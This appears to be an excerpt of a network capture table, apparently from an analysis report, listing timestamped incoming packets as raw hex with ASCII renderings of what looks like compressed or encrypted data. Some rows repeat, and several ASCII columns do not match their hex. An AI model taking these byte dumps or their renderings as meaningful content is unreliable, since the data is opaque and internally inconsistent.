2021-09-15 10:18:25 UTC	28	IN	Data Raw: d0 01 67 1c 9b c6 ce 31 6d 7a a5 09 d6 7a 80 c3 51 64 33 04 86 54 d9 da 9c 1f fe 28 05 b2 c6 72 e0 72 26 28 f3 3e 86 5e 42 48 d7 57 e4 12 a6 f8 6f 34 36 4e 8a 9a 1f 93 be a0 61 a4 e1 50 37 0c 56 62 96 6c 03 43 37 c5 88 4e b7 90 07 7f 88 f0 f1 02 40 65 ad e6 b4 5b 25 ba 41 b4 f2 19 46 89 df de f2 62 6c a0 5b e3 cf f1 97 e8 e9 ea c2 ac 74 89 fa 82 df 23 9e b2 c6 e1 85 aa 32 15 6d 23 c2 21 26 91 20 61 20 11 dd b2 40 aa ac d3 a8 7d b4 b0 2c 57 d5 65 e5 52 43 5d cc b2 a6 16 2e 26 38 b9 1d 23 6e 0b e9 fa b5 49 db 83 be c4 38 36 88 05 a5 87 ee a0 09 95 06 b6 24 36 b3 c3 ed c1 d4 07 ce 90 09 ef bf aa cd 15 d6 7b c8 ad d2 8a 9f 97 a5 77 bd 89 c9 31 96 06 6e 20 13 c8 5f a8 14 5d 45 a5 d6 46 dc 7d c3 bc 47 7b 87 e3 f5 fa 04 98 39 0d 2b 3e a7 61 12 82 54 ed 9b 5b b4 Data Ascii: g1mzzQd3T(rr(>^BHWo46NaP7VblC7N@e[%AFbl[#2m#!& a @,WeRC].&#n!86\$6[w1n _]EF]G(9+>aT[
2021-09-15 10:18:25 UTC	29	IN	Data Raw: e0 87 9e 65 93 12 12 89 46 73 c2 63 59 a3 21 31 6c e4 bb 96 73 25 07 36 78 c6 af 08 a2 2d 05 e2 70 d8 86 83 80 19 32 05 ef 11 0e ad e5 31 44 cc 10 ab 16 47 17 3b 5b 8e 88 e5 f9 a6 1d 6b 16 96 21 72 0a 2c 83 7a 42 99 c3 51 43 d4 bc 6a ab d0 e3 b6 45 4b 7e 5f 7f 41 2e 68 2e 14 c0 6f c1 73 f9 3e e3 40 0f 22 c6 2b d9 59 2b 76 31 dd 4c 88 60 13 59 a8 38 dd 32 f7 92 cc 86 13 f3 8a 86 54 ee 03 e2 a3 83 f4 bf fb 91 b2 19 62 0b b6 6e 8b 84 bb da c0 92 29 d4 d7 be 2f 81 54 3f 2f 95 bb 02 60 ec 79 b2 73 13 0d 20 d5 0d 46 5a 5b 5b 56 f0 a3 3f 72 da 04 cb cd 96 e1 28 5d 9a c2 7f 4b f4 69 28 17 08 a1 f5 87 cd 69 e5 3e ae dc 22 e0 f3 b7 a5 53 69 58 ba 47 ac cd f7 d7 d5 7b 6d a1 74 dc e1 56 5c ef 74 77 ea 8d 45 00 c9 19 38 8d 69 06 08 80 ba f9 cd 63 c6 0f 19 a3 bd 2f da Data Ascii: eFscY!1!s%6x-p2!DG;[k!r,zBQC]EK~_A.h.os>@"-Y+v1L`Y82Tbn)/T?/yz FZ[[V?r]Kj(i~SiXG[mtV/twE8ic/
2021-09-15 10:18:25 UTC	31	IN	Data Raw: 2a 70 06 1c 29 53 bb 4a 2e e2 cb 19 24 46 7a 53 b0 0f e2 2b 08 7f 48 25 47 a5 c7 d0 1d ab 6e 26 6d f9 cc ef be ae 50 21 da fb b2 51 2a 3d 46 0f 77 58 34 20 79 a5 5d 1a d2 07 b4 04 c5 30 9f 9c 72 9c 8c 25 2b d4 94 9a 1f 3f 1d 6a 80 13 fd ec a1 75 77 6e 7b b7 d5 fb fa 88 5c b1 91 d2 11 30 6e 67 dc 27 02 23 ae 18 49 16 e2 fe f7 cc 69 04 96 a6 f5 fb 6e c7 2d e2 3b fa 6c b2 4b 8a 46 0e e1 68 f8 72 cf 23 20 9d d7 f4 e3 2b 06 46 90 e2 18 bb a0 ec e1 05 e0 54 88 7f 0f 48 0e 0c 6d bd f4 12 84 28 e1 dc f8 24 d9 06 51 ba e2 46 cd 2a 36 32 04 93 dd c5 49 08 8f b2 6b 90 59 93 e3 b2 26 af d5 28 bb 24 c6 a4 93 d8 0c 04 24 19 16 99 f0 bf 15 e9 3c 30 b8 86 23 22 89 09 28 20 88 dc 59 e5 01 83 8f e8 d0 4c b7 20 98 6f 25 ab 74 d1 a9 14 91 dc 17 db d5 d1 9e dd 96 3b f7 66 06 Data Ascii: *p)SJ.\$FzS+H%Gn&mPIQ^=FwX4 y 0r%+?juwn{0ng#lin-;lKfHr~+FTHm[Q\$F^62lK&y&(\$\$<0#"(YL o%t;f

Timestamp	kBytes transferred	Direction	Data
2021-09-15 10:18:25 UTC	32	IN	Data Raw: 9a e2 59 82 52 0e 33 19 a2 8c af 2a 7d 4e 0c b9 22 20 17 72 51 e5 6c 2e 51 54 79 17 d4 83 17 ff 8f 8c f4 2d 3e f8 cf 09 2b 8b b2 15 93 b2 b0 8f 19 0a a1 19 35 56 ef ca 86 77 44 d1 d3 eb 81 34 b8 da d9 fe 32 31 02 6e 81 2c 80 fc 18 54 d5 a7 e3 29 3a 22 d1 db b0 0f 04 5d 1c 60 75 bf 90 84 a7 1a 28 16 fe 0c 61 3c 8a fd f7 4f a1 a5 bb c6 04 9d 59 ce 5b b8 47 b6 c7 72 f2 47 54 be 52 2a 98 f9 9a 9f 5c 95 85 0d 40 c5 b6 9c b1 56 a2 bb 1c a0 54 a9 3d ba bc be 9d 1b 61 e9 80 e8 ed 5e 77 61 06 70 18 c0 91 88 75 cc 95 30 6e 15 df 2b ce 87 8a e5 d1 99 77 2f 6d 27 99 1d 17 aa 39 13 90 be b0 92 82 b6 37 23 46 d3 19 ab 1a ae 6d 2f 7c e2 63 2c b7 ad 8a a0 0c 21 ea ce 66 d9 55 44 18 fc e0 e6 07 b2 20 79 aa e6 26 39 66 4f ff 9b b9 5b 61 15 46 f2 41 a9 24 86 14 60 9a c6 16 Data Ascii: YR3*]N" rQl.QTy->+A5VwD421n,T):"]u(a<OAY[GrGTR^\(VT=a^wapu0n+w/m'97#Fm/[c,lfUD y&9fO[aFA\$`
2021-09-15 10:18:25 UTC	33	IN	Data Raw: 9b bb d3 6d 6a 5b b8 32 04 7e 10 3b 81 b2 23 23 ad 8f 5e c8 da 18 09 a8 df 22 99 cf 6d 9e db 90 ec 39 e8 94 d0 84 a1 4c 31 3d 45 ba e0 04 a7 08 8b 83 22 ce 23 fb fd 52 96 85 c9 4b aa 92 b8 c3 2b 55 f4 a1 d9 8d 56 10 d3 b5 a2 39 3a 83 f0 5b a4 b9 30 e2 b3 5e 2f b4 54 2d d2 e3 a5 ab 93 12 1c b5 55 76 34 21 4b 29 ae 9f 36 33 5c 33 a6 0b d3 19 67 16 cb 7a 85 53 de a3 25 a1 9f 5a 4a 1e ce c9 a3 11 5e 66 8c 84 2e 41 cc a7 5e 76 57 15 bc 4a 0d 65 77 32 dc 8d 46 f5 2e bc 71 5c ab c5 ec 61 a5 d4 26 be 1b 75 01 42 b5 75 ee 21 66 4a 16 42 24 7c 91 54 e8 73 96 a1 e6 d0 8e eb 4b b9 90 98 4b 14 26 56 2b 6e b9 e5 44 47 e2 da 7d b0 94 c8 64 96 c0 fa 44 a2 09 3c f0 ec 51 30 f6 2a ef 4a 48 32 47 39 1b bc 24 de 93 cd b4 b8 dd f4 e7 86 c5 ab fc d1 07 0a 5f 11 e9 ee de 8a 04 Data Ascii: mj[2-;###^m9L1=E"*RK+UV9:[0^/T-Uv4!K)63!3gzS%ZJ^f.A^vWJew2F.q!a^uBu!fJB\$[TsKK&V+nDG]dD<Q 0*JH2G9\$\$_
2021-09-15 10:18:25 UTC	34	IN	Data Raw: 77 e2 e2 75 ac 7c d8 61 cc 32 03 76 46 7d ab c1 f6 58 57 d9 56 0f 05 94 fd c2 59 03 6a 79 f8 32 76 6d c7 62 f6 95 74 8d 7a 37 e5 e8 11 c9 0c 5b 50 9a 90 70 37 4f 94 d2 43 ac fc b2 b5 35 9d b9 57 93 5d 06 8b 7e 76 67 50 4a dc 36 21 5a a0 11 9e 6f 55 f7 5e 3b 6e 7c 24 bf 50 7c 3f f4 8c 01 de 44 d0 75 69 26 a3 e3 d5 25 ef 4c e0 d1 7e fd 94 55 d5 2a 3b f4 ae 66 64 ff 69 fa 3d e2 90 e1 2d f7 65 9e 35 42 d6 43 b3 91 03 19 dd 27 f8 9c a9 90 e7 ab 4d df 32 b0 a2 df dc ad 0a ff ab 4a d3 53 31 0f 24 da 3f 93 14 2b ae 92 c5 63 13 91 c2 1f 63 90 16 40 76 5d dd 9b 83 34 be 90 9b 16 b3 01 ea a3 17 1c e4 75 93 41 30 9e 51 25 09 71 d7 c5 e5 9e 3f de 4b 78 56 5b 5b 2d 03 6f 82 2a fe 9d 1f 37 3b 6d b7 69 3c 49 50 ca 41 55 bc 49 24 af 8c 20 f6 62 71 11 4c 9d c4 32 2e 0c 57 Data Ascii: wuja2vF)XWVYjy2vmbtz7[Pp7OC5W]-vgPJ6lZoU^;n]P\$?Dui&%L-U^;fdi=-e5BC^M2JS1\$?+cc@v]4uA0Q%?KxV[[-o^*;mi<IPAUI\$ bqL2.W
2021-09-15 10:18:25 UTC	35	IN	Data Raw: 87 7e 2a aa 7e 65 96 0f 3c d0 56 ca 8a 91 6c 59 57 fe 2e 43 0d cf d6 66 ea 0c db c8 2f 7a d1 3b b1 50 85 98 8c 83 d2 92 da be 73 6b 8d 73 0d 6a dc be 89 a4 4f 93 5e 40 81 71 a1 b9 2d 68 a5 71 1e b4 20 98 8b fa 1b b3 56 38 3c 7d 23 23 f7 62 0b dd 40 fd 7b 40 89 32 94 29 1e 9b 09 a4 ad 9c 3a a2 39 04 bf 1d f8 0c 3d c2 c3 67 23 a5 4c 5f f3 71 d0 ef ae bd 91 5b c8 fe a6 ea 4e 04 3d 3f b8 70 6b 1c 79 b5 ed 6f 91 84 3e ce 57 9f 6f d9 45 78 36 6d 27 8e 12 38 6e 01 ff e1 1c 43 dd d9 df 92 ac 5d 52 07 c1 a2 24 87 67 34 fb a3 10 0b 9a ab a4 3e 44 6b d3 88 39 d2 46 94 ad 2a 0b 84 e4 01 42 7c 98 78 68 af 53 04 b9 ba 9e 32 7d 93 99 2a 90 ab 8f 80 b4 a8 60 ec f7 77 33 a3 d3 93 c6 cf fd 94 71 21 27 44 23 fd d3 98 55 70 9a 64 a8 de 1f d3 83 56 0f 16 50 4d 3b 96 1f 04 Data Ascii: ~*-e<VIYW.Cf/z;PsksjO^@q-hq V8<}##b@{(@2):9=g#L_q[Ln=?pkyo>WoEx6m'8nK)R\$g4>Dk9F*B]xhS2)*^w 3t!D#jUpdVPM;
2021-09-15 10:18:25 UTC	36	IN	Data Raw: be f6 1f 19 97 c8 47 87 1c 2e f1 6b c9 34 a9 66 27 74 90 ee d4 ae d4 70 5a 21 e1 e1 72 bc d4 bc dd dc 63 b0 d9 a6 df ab 3d 55 83 71 df d3 fc 34 86 58 f6 e0 9d 53 ff 7e eb 87 6d 19 35 36 1e 55 1a 46 c6 39 a9 12 15 0d 2e f2 90 81 c6 b9 3d a5 36 96 cc f3 11 9f 01 72 9a 7a c3 f3 c3 43 05 36 32 20 ff 7a 99 a2 9d c7 a8 08 1e 2e 43 b5 74 58 2f 35 e1 76 09 cb 74 39 6f 29 84 23 d5 e4 04 c0 2b b2 5d 9d 93 33 65 23 89 22 72 1c f2 c3 92 ef cc 49 a5 49 ff b6 14 d7 37 bb ee dd e0 73 75 f8 e6 30 1c 1c 6c 4d d0 b6 6f f4 88 ef ad f7 24 2b 14 7a ac ce db 22 57 c8 6d 9e 01 7d 4d 6a b5 94 91 7f 81 f1 b2 0a ec f0 18 ac a4 f7 74 3d 69 1e 92 06 a9 26 5c 2c 62 e0 56 f6 10 24 55 a6 ca 34 2f c0 d2 1c 89 2c 8a 39 77 fc f3 5b 0a 8a 1d 43 0f a1 23 4e 88 b0 39 05 62 3a 93 22 4c b0 55 Data Ascii: G.k4f!p2!rc=Uq4XS-m56UF9-=6rzC62 z.CtX/5vt9o)#+}3e#"r!l7su0lM0s+z"Wm)Djt=i&!,bV\$U4/,9w[C^N9b:"LU
2021-09-15 10:18:25 UTC	38	IN	Data Raw: d7 97 0d c8 0d db a6 0f 13 a0 c0 ed e7 57 16 bf d6 8d a5 68 ea 0c af 89 5c b4 08 c4 88 23 80 4d 14 14 47 56 52 71 68 aa b4 e2 24 c4 d7 75 44 e1 5c ce 56 f8 40 3e 99 d7 af f0 4e 99 83 ad e7 e1 d6 e1 37 1a fb 28 b1 bf 8d b2 fb ed 35 e5 4e de 34 c0 ea 8b 8e dd be 8e 2b 3b e6 5b 51 79 49 9d b3 ff 1f 9f 7b d7 a3 67 8c 97 dc 39 98 07 d8 81 cb 58 9d c2 71 44 32 63 b0 33 0c a4 e1 b2 86 1e a3 63 50 3e 5c cc ce e5 a2 8d e2 6d bb a9 dc 7e 35 b9 6e de bb be be 8b fb b2 be ce b9 10 99 1f 12 9c c6 4a 82 12 be e2 1a 39 ca af 86 a8 be 68 1f 7e 35 e1 22 fc 54 2d 62 65 94 91 7f 81 f1 b2 0a ec 60 41 6b d3 22 08 8c 07 7c 01 2f 9e 6b 30 e6 a6 e4 cd b4 f9 dd 3e e7 82 05 e2 7c 24 34 0c c2 1f 63 96 ff f6 a7 20 63 56 30 44 43 41 4f bf 8c 32 92 fd d7 57 5c b9 14 da 46 92 47 Data Ascii: Wh\!MGVRqh\$uDlV@>N7(5N4+;[Qy!lg9XqD2c3cP>\m-SnJ9h-5^T)"ejvI/? Ak"/k0> \$4c cV0DCAO2WFG
2021-09-15 10:18:25 UTC	39	IN	Data Raw: aa 58 6f e5 85 4e e8 43 67 cd fd 34 07 fb 6e 12 1c 06 b1 31 2e 19 a4 35 09 6f 3a 86 05 30 ee 4f 8b 38 24 29 d5 7a f5 db 33 53 f8 10 74 f2 db 68 12 9d a8 c1 41 f5 ec 8e 80 66 7b 64 db c8 25 75 ab 2b 35 e1 75 39 cd 83 3f c6 c7 ca 42 c5 83 a3 a2 d8 23 9b c8 a5 a7 75 37 fa 8a 18 91 e0 6c 81 07 8e ce 3f 95 46 11 b4 9f 0f 01 6b 6b 88 3f f1 73 9d 1c 4e 6d fa 85 27 4d b0 d5 29 48 32 31 9b a6 c3 84 29 ba 0e 42 a1 db 28 c9 b6 b7 d7 5b b1 07 1d 78 40 09 53 53 5e b5 a1 c8 8a bb 50 0e 18 9d 0b 89 6c 9e 7f 05 41 1b c6 b3 37 cc b4 ce b2 e3 20 77 18 36 2c 27 fa 45 97 c2 03 5f 40 86 95 ae 24 51 fb 28 5c 52 07 6c e7 a2 86 0f 7e ab 8c 6b 61 9a 6c a1 ec 80 e0 53 ca d0 44 83 83 0d dd 77 83 68 f8 dd d4 8e b3 ca af 7c bc 89 c9 dd 06 c4 9d e7 90 6e 57 c3 ef 50 dd 45 67 4d 22 ac Data Ascii: XoNCg4n1.5o:008\$)z3stAfd%u+5u9?B#u7l?Fkk?sNm'M)H21)B([x@SS^PIA7 w6,'E_@\$Q(lRI-kalSwh]n WPEGm"
2021-09-15 10:18:25 UTC	40	IN	Data Raw: aa 58 6f e5 85 4e e8 43 67 cd fd 34 07 fb 6e 12 1c 06 b1 31 2e 19 a4 35 09 6f 3a 86 05 30 ee 4f 8b 38 24 29 d5 7a f5 db 33 53 f8 10 74 f2 db 68 12 9d a8 c1 41 f5 ec 8e 80 66 7b 64 db c8 25 75 ab 2b 35 e1 75 39 cd 83 3f c6 c7 ca 42 c5 83 a3 a2 d8 23 9b c8 a5 a7 75 37 fa 8a 18 91 e0 6c 81 07 8e ce 3f 95 46 11 b4 9f 0f 01 6b 6b 88 3f f1 73 9d 1c 4e 6d fa 85 27 4d b0 d5 29 48 32 31 9b a6 c3 84 29 ba 0e 42 a1 db 28 c9 b6 b7 d7 5b b1 07 1d 78 40 09 53 53 5e b5 a1 c8 8a bb 50 0e 18 9d 0b 89 6c 9e 7f 05 41 1b c6 b3 37 cc b4 ce b2 e3 20 77 18 36 2c 27 fa 45 97 c2 03 5f 40 86 95 ae 24 51 fb 28 5c 52 07 6c e7 a2 86 0f 7e ab 8c 6b 61 9a 6c a1 ec 80 e0 53 ca d0 44 83 83 0d dd 77 83 68 f8 dd d4 8e b3 ca af 7c bc 89 c9 dd 06 c4 9d e7 90 6e 57 c3 ef 50 dd 45 67 4d 22 ac Data Ascii: XoNCg4n1.5o:008\$)z3stAfd%u+5u9?B#u7l?Fkk?sNm'M)H21)B([x@SS^PIA7 w6,'E_@\$Q(lRI-kalSwh]n WPEGm"
2021-09-15 10:18:25 UTC	41	IN	Data Raw: 7e e4 18 5c 36 c9 e2 10 40 c7 d7 95 c0 8c 2e 4c 1b 73 96 8d ae 30 88 a2 cd 4e c6 6b c1 88 12 cc 09 c5 df f6 f7 42 c0 a2 1b f3 3b 26 c5 3e c9 19 a9 39 18 45 6f 67 09 3a af 43 73 9c 07 4e 3c 78 2f ab b5 8d 1f 8b 58 6e dc 8e 7a 68 7f f6 bc 5c 8e 34 0d 4b 9f 8a 1e ac 00 ed 2f ff 21 99 6e e3 a0 aa bc 66 2a d5 ff 3b 15 ab 2c f4 26 81 ec 76 e8 32 5c 4a a8 e2 f9 cb 99 e5 24 23 19 de 3d ca 58 4a 8a c2 06 6d 08 d5 92 bb ef c0 97 5d f7 a2 df 03 a3 f5 1d df 1e b4 e0 2e c1 d3 22 59 4c cf 10 c8 f6 00 68 4a a2 f9 89 4a e6 8c 8b e3 79 96 54 d7 90 a4 2e 64 8d de 2c b2 76 bb 3d 5d f3 b0 8a 87 8b 84 bd 66 50 c6 28 35 f8 ae 5a 23 26 6f 91 42 47 14 ac 26 63 48 58 cc c5 89 db a3 53 3a 94 af 7e a7 1c 89 bf 31 1f 6e 0e 0e b3 8b fa c2 51 c2 51 3b 09 99 02 ed 37 6b ed 19 38 71 96 Data Ascii: ~!6@.Ls0nKB;&>9Eog:CsN<x/Xnzh!4K!nf*,&v2!J\$#=#Xjm)".YlHJjyT.d.v=jfP(5Z#&oBG&cHXS:~1nQ7;7k8q

Timestamp	kBytes transferred	Direction	Data
2021-09-15 10:18:25 UTC	43	IN	Data Raw: 0b 6c 55 59 dc 9e 31 24 02 4d ac 59 6e 00 ce b2 9c e4 47 6e ae f1 42 2f 10 ff ac 71 cb f9 a2 ed ea f6 60 31 52 be 39 2f ca 1e 44 b6 81 fa e2 9f 0b 34 c4 9d 28 50 85 81 57 21 47 6b 5a fe 62 bb 1e 26 a8 72 bd 72 9a d9 37 9f 8e 01 25 cd c8 83 a5 13 9f 83 2c 65 61 fe 43 36 70 0b 84 58 61 19 75 d1 25 af f2 9c 27 da 79 f0 e9 0a 26 6e 95 64 00 07 d4 8f 3f fd e7 92 44 e4 6f 1f 32 32 5b 21 8c 32 0a e2 17 ee 54 6c a1 52 94 2a 70 cd a4 ad 08 03 c3 0e b2 9d 48 8a 09 30 4f 3d b6 6d 9a 12 1b 04 b1 7a fa 0a 8f 7a 13 30 1a c8 d9 30 8e 7b a7 75 82 04 fb 81 ac 01 bd 14 ab 51 ff b7 60 96 eb 66 b0 87 89 a2 95 6e fa 4a fa 25 c9 25 ad de 16 56 b6 23 6a bb 28 5e 84 d6 b6 49 f3 09 fd d6 71 e5 14 bc 3f 49 c6 e1 d5 2c 74 12 6b b9 83 79 74 ad 22 ec 7a da 91 0c 87 53 51 d5 df 78 62 Data Ascii: IUy1\$MYnGnB/q`1R9/D4(PW!GkZb&rr7%,eaC6pXau%`y&nd?Do22[!2TIR*pHO0=mzz00[uQ`fnJ%V#(?!q?I ,tkyl"zSQxb
2021-09-15 10:18:25 UTC	44	IN	Data Raw: 50 67 18 b4 27 e0 c7 63 d2 4d aa 6b 92 3b f4 36 bc 8b 1b 67 90 ba a2 a2 d7 7a 63 46 2b 3f db c6 d1 3c 4b ec d6 ab 4c b3 12 6c 40 b2 e3 17 0a b0 5b e2 a1 9e 09 c8 8d fa 85 11 87 1c ec 8c a7 9e 05 58 d4 85 b8 90 66 89 52 cb e0 b7 7c a1 59 61 5d 1b 18 b5 b2 19 ab a1 14 dc 02 94 d5 35 66 d1 c3 8c 3a 1d 0d 91 e2 9a 93 74 7a 82 1e 0c 8d 71 65 24 d4 92 60 c0 37 2e 8f 0f a2 79 87 6c 90 b5 47 4a 41 9a e3 ab 46 64 7c 8c 08 72 9a b6 82 b4 3f 0d dd 36 97 89 57 92 bf d5 a9 ff ae cc e4 54 7c 88 3e 4b e3 73 98 8d 00 6d dd a1 c1 5d 32 1b 09 b3 ac 64 5f da 95 68 c4 7f 0c ae 93 cd 8b 1c f2 06 5c d4 19 31 03 ef 41 7d 30 5d d7 7c eb 21 07 4f 75 f8 b4 b9 9e 5e 2a 55 26 49 c3 37 b7 de 52 bb 7e 5f e6 81 53 ce 1e 2c 6c f4 17 41 a0 d2 53 8d 9e 2f 4a 33 71 29 c7 31 1f 67 a2 8f 12 30 Data Ascii: Pg'cMk;6gzCF+?<KLI@ XfR Ya 5f4zqes`7.ylGJAFd jr?6WT >Ksmj2d_h1A 0) Ou^*U&I7R~_\$_,IAS/J3q)1g0
2021-09-15 10:18:25 UTC	45	IN	Data Raw: db 02 d5 30 67 7b 44 93 de 7d a2 7e 0d c5 dd df df f4 51 8a a4 80 31 0d b5 f5 c6 4b 58 6f 40 02 3c 19 4c a0 14 91 56 a5 ef 54 48 90 d8 3c 07 5d 65 f6 39 3b 09 e2 22 77 99 35 09 28 16 45 c2 3e fe e1 b3 82 28 27 51 ac 32 d5 9a 58 82 2f 06 9d e2 bd 21 6d 69 5e 72 50 e8 0b 29 81 2e 26 d0 c0 83 d3 ab 1e 3a 65 a2 bd 35 74 96 d1 50 8a 66 49 1d a5 a6 92 d3 e1 80 ed 2a e0 37 3a 7e e1 6e 1f a0 7e f3 8e 09 ba 11 80 d4 44 53 6f ce 94 ac 5b df 7b 49 9d b7 33 8e 4a 43 ad c5 93 2a d6 cd a4 d6 83 92 b9 6b 5a 9d c2 b2 e0 58 4d fa 33 fa a6 e1 b2 a4 95 34 3d 32 53 8b a9 ce e5 d7 fe b6 cd b4 71 81 86 47 fb 61 61 44 41 8a ab b1 08 cc b4 df 14 a6 60 bf 19 b2 d4 d8 05 2b 7f 90 3e 67 3a 7f ee a9 ca 1a f5 e5 1c 95 82 87 5a b1 78 47 55 6c 2d 28 e4 aa 94 de 2d 39 6c 24 93 ff 57 72 Data Ascii: 0g{D}~Q1KXo@<LVTH< e9;"w5(E>('Q2X\ mi'rP).&:e5tPfl>*:~n~DSof{!J3C*kZXM34=2SqGaaDA`+>g:ZxGUl(-9l\$Wrr
2021-09-15 10:18:25 UTC	47	IN	Data Raw: 6d cc f6 4e 54 c8 64 ba d8 2f 67 89 c1 13 f6 dd bd 1d ee 6c 3b 65 81 fa 69 d2 96 11 ef 57 75 b6 5b 8d 81 1b ec 10 b6 e2 64 95 13 56 4c 2b 49 97 e2 bd 72 09 99 ff a1 4c 00 25 83 f0 75 a1 66 27 ba 5b 96 6e df 4e d8 cf 87 a4 1b 87 e2 a5 01 32 8b 47 21 f1 8f b8 e4 b7 00 17 44 a2 32 66 ab 59 de 29 85 ec f9 f0 98 b5 ab 14 a6 3a 64 86 bb 24 5c d1 86 34 23 1c 77 9e 56 d6 f3 94 14 0c 8d 25 41 1c 98 d0 f5 ca 3d 2e 38 4f 1a ba b0 2e 01 bb 4d 4a 3b a5 3b 66 0c 26 e1 8e 02 72 db 23 4e b6 f8 4f 44 30 9d 89 ed a1 37 16 a5 bd 0b 36 ed 54 08 08 f6 82 00 31 39 73 09 6d 72 d0 c1 de bc 59 a4 41 a5 64 84 3f 85 9e 01 3d a5 58 9a cd 7b 99 53 4e 10 96 ac db 0a ef be b6 f7 93 f0 3e 5a cf 0e 4f ca 4f ee a4 d4 1c 97 b7 21 49 18 da 97 51 95 f9 c7 b9 ef 81 e1 5e 13 94 60 b6 d2 9b a9 Data Ascii: mNTd gl;eiWu[dVL%uf[nN2GID2fy):d\$\\4#wV%A=.8O.MJ.;f&#NOD076T19smrYAd?=>X[SN>ZOO/IQ`^
2021-09-15 10:18:25 UTC	48	IN	Data Raw: 13 b0 dc ba 8b ac a9 b2 48 3b db f6 4a c8 a5 0f 42 b4 81 97 45 4c 73 44 20 d3 8c 9b b2 4f b4 f2 d7 df 82 68 7d 2c 06 73 70 96 fd c6 3d 10 63 2c b0 7e 60 6b a8 14 e3 c5 0e a4 d2 0a 15 c4 34 07 2b 9d 32 51 b5 4b 63 7a 7f 99 43 86 0c 13 b9 80 b3 ea e9 b3 f4 a4 c0 99 bd 70 5c 8a 50 82 59 71 6d ae ea 63 f8 65 56 72 26 dd 76 9e 49 6c b7 d8 c8 83 d3 e7 9e e2 a2 e0 20 31 7c 96 62 d9 3f f5 fb 5f 3c a6 36 d3 95 0f e0 9f b2 75 9f 82 e6 6e d7 18 60 bb 49 4b 1b e9 87 d4 44 db a0 39 ac ee f6 2b 7c 49 52 96 ef c5 c5 01 04 35 94 2a ee 00 e9 94 c0 d0 0c 87 5d 9d 75 ce 68 2c 8a b8 82 12 a1 e1 69 dc 52 7a c2 70 ee 6f ae ce 6e ec a2 f3 14 f6 c8 61 81 47 8d 32 01 64 86 c8 6e 6d 0f cc 07 1c 20 2e 27 fd d8 6a d3 6d 7c d7 3b e2 82 29 c8 cf 4a 15 0e 77 0f 5f 9d 0f ec cd 8b 0d 95 71 b9 fe Data Ascii: H;JBELsD Oh ,sp=c,~`k4+2QKc:Cp PYqmcVr&vll 1 b? _<6un`IKD9+ IR5*j uH;IRzponAG2dnm .:jq>)%4^~KW]
2021-09-15 10:18:25 UTC	49	IN	Data Raw: bf ed a9 56 0e 4c 5c 28 f3 90 20 eb 81 56 e5 56 66 55 01 a1 fb 8f f0 26 f2 ab 9d 5f 44 0a 28 45 e5 78 55 99 e7 03 06 73 70 96 fd c6 3d 10 63 2c b0 7e 60 6b a8 14 e3 c5 0e a4 d2 0a 15 c4 34 07 2b 9d 32 51 b5 4b 63 7a 7f 99 43 86 0c 13 b9 80 b3 ea e9 b3 f4 a4 c0 99 bd 70 5c 8a 50 82 59 71 6d ae ea 63 f8 65 56 72 26 dd 76 9e 49 6c b7 d8 c8 83 d3 e7 9e e2 a2 e0 20 31 7c 96 62 d9 3f f5 fb 5f 3c a6 36 d3 95 0f e0 9f b2 75 9f 82 e6 6e d7 18 60 bb 49 4b 1b e9 87 d4 44 db a0 39 ac ee f6 2b 7c 49 52 96 ef c5 c5 01 04 35 94 2a ee 00 e9 94 c0 d0 0c 87 5d 9d 75 ce 68 2c 8a b8 82 12 a1 e1 69 dc 52 7a c2 70 ee 6f ae ce 6e ec a2 f3 14 f6 c8 61 81 47 8d 32 01 64 86 c8 6e 6d 0f cc 07 1c 20 2e 27 fd d8 6a d3 6d 7c d7 3b e2 82 29 c8 cf 4a 15 0e 77 0f 5f 9d 0f ec cd 8b 0d 95 71 b9 fe Data Ascii: VL\(\ VVfU&_D(ExUm(S7))!Ms*#8`U48E8bJ-^tGM\$Uc`n7iAGw Ta.u ,t-w0anw&`4AMrj 4cLJl-pZlI8?A Uul%9i!L(\m);Jw_q
2021-09-15 10:18:25 UTC	50	IN	Data Raw: 48 04 71 99 2a 6d d1 38 07 2d 9f 1b 33 f7 8e bb 0a eb 16 32 f6 87 4a fd d7 5b f9 9e 88 4f eb 1b 09 8d 56 5b 62 b0 8a 59 11 58 cf 6a 43 ae e6 65 6a 6c 54 bb 48 93 40 8d fb cb 89 df c7 bd 0a f9 16 a7 69 d6 05 a0 71 42 4a 0d 7f ef 2c 1a 0c 48 3e 1f 20 a7 4e 77 42 ce ef 17 be 69 d5 fc 3c 43 a4 d0 e2 5c 01 99 bb 62 61 5e b9 d7 62 81 ec e4 41 01 dd a6 81 78 cb 7e f4 ef 25 32 92 80 ab 74 0f 9f 5e f4 88 88 13 c7 ac 75 0d cd 62 eb 87 09 4e 5c 1f 33 57 c4 0c 3c 8b e6 54 66 29 a8 2d ff 6c b2 ff 0d aa 9d 61 f4 22 39 ce a7 9d ae 98 e7 1e ef d3 4f 51 a8 d6 de 5c 21 b7 e3 37 a5 b9 61 f0 cb 61 55 d6 c6 be 2f 74 51 ac 24 39 62 8c 8c 20 8d 99 36 3c 51 b7 47 4b 50 d0 d1 82 21 69 5e 61 09 00 0a 7f 3b 23 fd 9b 5a fe cd 43 dd 59 08 f9 da 13 98 76 ad 44 62 b2 d5 5b 18 8f 11 95 Data Ascii: Hq*m8-32J OV[bYX Ce jTH@ qBJ,H> NwBi<C\ba^bAx~%2t*ubN\3WTF)-la"9OQ!7aaU/tQ\$9b 6<QGKPlr^ a;#ZCYvDb[
2021-09-15 10:18:25 UTC	51	IN	Data Raw: c2 51 cc 35 93 fc db 99 ef 35 08 11 ce 87 b1 1b a8 dc aa d9 d7 a2 38 fb 43 f3 4b 78 50 5b f3 0c 51 c7 e0 a5 a1 a9 13 20 37 31 88 99 ef b3 af bc 49 c2 61 92 84 ee 64 0b 9e 44 71 65 7a 85 00 92 52 6b 00 9c e1 eb 24 8e e1 41 89 c2 89 65 1d 67 61 6e 4b 04 f4 31 a7 02 35 c3 9c 68 57 7e 43 a7 dd 05 27 88 96 a6 b2 b8 69 e3 69 bd b8 cd 08 b5 b4 f6 29 8f a9 a8 08 ab fc dd 06 2c eb ac 44 69 19 a5 f1 7a ed 56 84 e0 01 4f b5 c4 0f 49 b9 e6 25 38 85 7f dd c3 55 69 cc 41 97 db d4 a2 3b 69 0b ac 5c 4d 47 a9 da f6 36 aa b6 a4 36 0e ba 17 d5 a0 8c bb 3c 09 eb 3f 50 a9 40 09 ab ea 13 4e 9d d5 b9 09 77 34 fd 8c 6c 94 8c 9b 9f 52 e4 6f a8 14 db 51 ba 17 ea 67 8b 40 34 07 fb b4 b9 f5 73 a6 98 39 0b db 32 02 13 a0 27 80 44 19 92 77 7c d4 28 82 92 59 29 89 50 24 55 c1 92 66 08 